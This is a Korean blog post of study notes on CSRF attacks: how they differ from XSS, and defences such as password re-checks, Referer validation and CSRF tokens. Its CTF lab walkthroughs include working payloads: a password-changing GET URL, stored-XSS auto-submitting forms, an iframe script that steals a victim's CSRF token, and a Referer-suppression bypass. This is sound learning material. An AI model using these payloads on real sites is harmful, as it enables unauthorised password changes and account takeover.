CSRF 란?
- 인증 정보가 없이 요청이 이뤄지고 있는 모든 장소
- 요청 정보 중 공격자가 임의로 파라미터 값을 변조
- 변조된 요청을 피해자가 서버로 보내도록 유도하는 공격
XSS 차이점?
둘 다 클라이언트 측 공격!!
하지만..?!
● XSS
- 브라우저에서 동작하는 스크립트를 삽입하는 공격
- 브라우저가 갖고 있는 쿠키(세션) 탈취, 피싱 페이지 이동, 키로거 등의 공격 가능
● CSRF
- 스크립트를 사용하지 않아도 피해자에게 공격자가 변조한 요청을 보내도록 유도하는 공격
- 요청을 유도해야 하므로 XSS 공격과 연계
- 비밀번호 변경 등 서버의 존재하는 서비스를 요청할 때,
- 요청을 변조해 피해자에게 전달하는 공격
- 때문에 동작은 서버에서 동작
CSRF 포인트 찾기
- 요청을 보내는데 인증정보가 없다? => CSRF 취약점
- 요청에 인증정보가 없는데 POST 요청이다? => XSS 포인트 찾아서 CSRF와 연계 공격
- 요청하는 파라미터 값은 공격자가 모두 변조할 수 있다. (파라미터에 인증정보가 없는 장소!!)
- ex) 비밀번호 변경 요청에 인증 정보(기존 비밀번호 입력)가(이) 없을 때!!
대응 방안
1. 인증 정보 체크하기
- 사용하고 있는 비밀번호를 파라미터로 받아 검증하는 방법
- 요청 위·변조 시, 위험도가 매우 높은 경우 사용한다.
- 남용 시, 서비스 가용성이 저하될 수 있다.
요청을 위조를 할 수 없도록
가장 강력한 인증정보인 비밀번호를 파라미터로 전달받아 검증되면 요청을 처리하는 방법
계정이 탈취될 수 있는 비밀번호 변경 페이지 등,
절대로 위·변조되면 안되는 장소에서는 비밀번호와 같은 인증 정보를 검증해야 한다.
2. Referer 체크하기
- 요청을 보낸 URL을(Referer를) 확인하는 방법
- 요청 위·변조 시, 위험도가 높은 경우 사용한다.
예를 들어 비밀번호를 변경하는 요청에 경우,
마이페이지를 거치지 않으면 요청을 처리해주지 않는 방법이다.
만약 게시판에 Stored XSS 취약점이 있어서 게시글 접속 시,
비밀번호를 변경하게 하는 CSRF 공격이 동작하는 경우,
서버는 요청에 들어있는 Referer를 확인한다.
해당 요청에 있는 referer는 마이페이지 URL(mypage.php)이 적혀있지 않고,
어떤 게시글을 읽는 URL(read.php?idx=421)이 들어있을 것이다.
그러면 서버는 해당 요청이 정상적이지 않다고 판단하고
요청을 처리하지 않는다.
- 단점 : 확장성이 떨어진다. (사이트 연동 시)
하지만 referer 가 마이페이지인 경우에만 허락하는 경우,
다른 경로에서 비밀번호를 변경하지 못하므로
확정성이 크게 떨어질 수 있다.
ex) 3개월이 지나 비밀번호 변경 권고를 하는 경우
- 우회 가능성 : Referer 헤더가 없는 경우
웹 사이트의 잘못된 예외처리 코드로 인해
요청에 referer 헤더가 담겨있지 않더라도 요청을 통과시키는 방식으로 개발이 된 경우가 있다.
<meta name="referrer" content="no-referrer"/>
그런 경우, 위의 코드와 같이 referer를 전달하지 않는 코드를 삽입해 요청을 보내면
서버가 해당 요청을 처리하게 된다.
따라서 웹 사이트 개발 시, 예외처리 구문(try-catch)을 엄격히 작성해야 한다.
개발할 때 예외처리를 러프하게 한 경우를 제외한다면 referer check라는 대응 방안은 우회할 수 있는 방법이 거의 없다. (확장성은 떨어지지만..)
3. CSRF 토큰 추가하기
- 인증 정보의 역할을 대신 해준다.
- XSS 취약점 존재 시, 우회가 가능하다.
- 요청 위·변조 시, 위험도가 비교적 낮은 경우 사용한다.
CSRF 공격이 발생할 수 있는 페이지 접근 시,
사용자에게 랜덤한 문자열의 CSRF 토큰을 제공한다.
사용자가 요청을 보낼 때, 파라미터에 CSRF 토큰 추가해서 서버에 보낸다.
서버는 사용자의 CSRF 토큰 값을 검증하고 요청을 처리한다.
하지만 XSS 취약점과 연계될 경우, CSRF 토큰이 추출당할 수 있기 때문에
위험도를 판단하여 적용해야 한다.
※ POST 매서드 사용이 반쪽 짜리 대응 방안인 이유!
POST 요청에서 인증 정보가 없는 경우,
XSS 취약점을 찾아 <form> 태그를 삽입해 연계 공격한다면
CSRF 공격이 가능하기 때문에
XSS 공격이 단 하나도 없지 않은 이상
POST 매서드 만으로는 CSRF 공격을 막을 순 없다.
CSRF 공격 예시
1. get 요청으로 인증정보 없는 경우
비밀번호 변경을 요청하는 과정을 살펴보면,
GET 매서드로 요청이 진행되며,
파라미터에 인증 정보가 없이
모두 공격자가 맘대로 정할 수 있는 상태이다.
http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1234
피해자에게 비밀번호를 변경하게 하는 GET 요청 URL을 누르게 한다면 CSRF 공격이 가능할 것이다.
[*] 해당 URL을 XSS 공격과 연계한다면 피해자가 눈치채지 못하게 CSRF 공격을 수행할 수 있을 것이다.
2. post 요청으로 인증정보 없는 경우
URL : http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php
Parameter : pw
Stored XSS 공격이 발생하는 게시글 작성란에 <form> 태그 삽입
<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" target="myFrame" id="myForm">
<input type="hidden" name="pw" value="1234"/>
</form>
<script>
document.getElementById('myForm').submit();
</script>
Stored XSS 공격이 발생하는 게시글 작성란에
<form> 태그를 삽입해서
POST 요청을 보낼 주소로 CSRF 취약점이 발생하는 주소(비밀번호를 변경할 수 있는 페이지)를 지정하고,
<input> 태그를 삽입해서
변조할 파라미터 값을 지정한 뒤, (pw 파라미터에 변경될 피해자 비밀번호 지정)
해당 POST 요청을 보낸 후에 요청을 보낸 주소(마이페이지)로 이동(리다이렉트)되지 않도록
<iframe> 태그를 이용해 <iframe> 페이지 안에서 해당 요청이 이루어지게 한다.
해당 XSS 공격이 삽입된 해당 게시글을 읽는 사용자는
본인도 모르게
비밀번호 변경을 하는 페이지에서
비밀번호를 1234로 변경하는 post 요청을 보내게 된다.
3. post 요청 & 인증 정보가 존재하는 경우
해당 인증 정보(csrf_token)는
비밀번호를 변경하는 마이페이지에 접속 시,
랜덤한 해시 값이 <input> 태그의 값으로 생성되고 있다.
마찬가지로 XSS 공격이 발생하는 곳에 <form> 태그를 삽입하여
변조된 요청을 피해자가 보내도록 유도했다.
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="xss" style="display:none;" onload="getToken()"></iframe>
<iframe name="myFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" target="myFrame" id="myForm">
<input type="hidden" name="pw" value="1234"/>
<input type="hidden" name="csrf_token" value="" id="token"/>
</form>
<script>
function getToken() {
var myIframe = document.getElementById('xss');
var dom = myIframe.contentDocument;
var token = dom.getElementsByName('csrf_token')[0].value
document.getElementById('token').value = token;
document.getElementById('myForm').submit();
}
</script>
먼저 <iframe> 태그를 이용해 피해자의 마이페이지에서 <input> 태그 안에 있는 csrf_token 값을 가져온 뒤,
탈취한 인증 정보(csrf_token)를 가지고
<form> 태그를 이용해 비밀번호를 1234로 변경하는 POST 요청을 보내는 게시글을 작성했다.
피해자가 게시글을 읽으면 삽입된 XSS 공격이 실행되고,
탈취된 token을 이용해
공격자가 원하는 비밀번호로 변경하는 요청을 보내게 된다.
'Web > Theory' 카테고리의 다른 글
File Upload Vuln (0) | 2024.07.20 |
---|---|
CORS(Cross-Origin Resource Sharing) (1) | 2024.07.12 |
XSS 정리 (1) | 2024.06.24 |
DOM Based XSS (1) | 2024.06.24 |
Reflected XSS (0) | 2024.06.13 |